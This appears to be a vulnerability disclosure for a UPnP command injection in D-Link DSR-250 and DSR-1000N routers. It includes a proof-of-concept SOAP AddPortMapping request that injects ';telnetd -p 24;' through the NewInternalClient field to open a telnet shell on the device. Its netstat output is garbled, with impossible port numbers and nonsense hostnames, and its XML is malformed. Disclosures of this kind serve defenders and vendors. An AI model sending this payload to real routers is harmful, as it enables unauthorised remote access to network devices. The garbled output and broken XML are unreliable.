## WinMin / Disclosure of vulnerabilities in D-Link DSR-250 DSR-1000N router.md (Secret)

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#### Version

DSR-250 (3.14) DSR-1000N (2.11B201)

# Vulnerability details

There is a upnpd program in the firmware package, which listens on port 1900 (udp) and 49152(tcp) at 0.0.0.0.

```
    udp6
    0 :::5353

    sxtngguburtu:/necka/psr/None/Desktop/DSR-2595 sudo netstat -antup | grep qrep

    tcp
    0 :0.0.0:495152

    udp
    0 :0.0.0:495952

    udp
    0 :0.0.0:150993

    0 :0.0.0:150993
    0.0.0:1

    18488/./qrm-arn-st

    udp
    0 :0.0.0:150909

    0 :0.0.0:1509
    0.0.0.0:1509

    18488/./qrm-arn-st

    sxtnggubuntu:/necka/psr/None/Desktop/DSR-2505
```

Through reverse analysis, we find that when the program sets iptable, the parameters are not checked, which may cause command injection.

Parameters such as '\_newInternalClient' can be controlled and finally assembled into the iptables command. Because the special symbol is not checked, it may cause command injection.

### PoC

```
POST /upnp/control/WANIPConn1 HTTP/1.1
HOST: $control_host:$control_port
Content-Length: $content_length
Content-Type: text/xml; charset="utf-8"
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
<?xml version="1.0" ?>
<s:Body>
 \verb|<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">|
  <NewExternalPort>7331</NewExternalPort>
  <NewProtocol>tcp<NewProtocol/>
  <NewInternalPort>1337<NewInternalPort/>
  <NewLeaseDuration><NewLeaseDuration/>
  <NewEnabled>1<NewEnabled/>
  <NewPortMappingDescription>hackedBvC0ss4ck<NewPortMappingDescription/>
  <NewRemoteHost>0.0.0.0<NewRemoteHost/>
  <NewInternalClient>;telnetd -p 24;<NewInternalClient/>
 </u:AddPortMapping>
 </s:Body>
</s:Envelope>
```



## Founder

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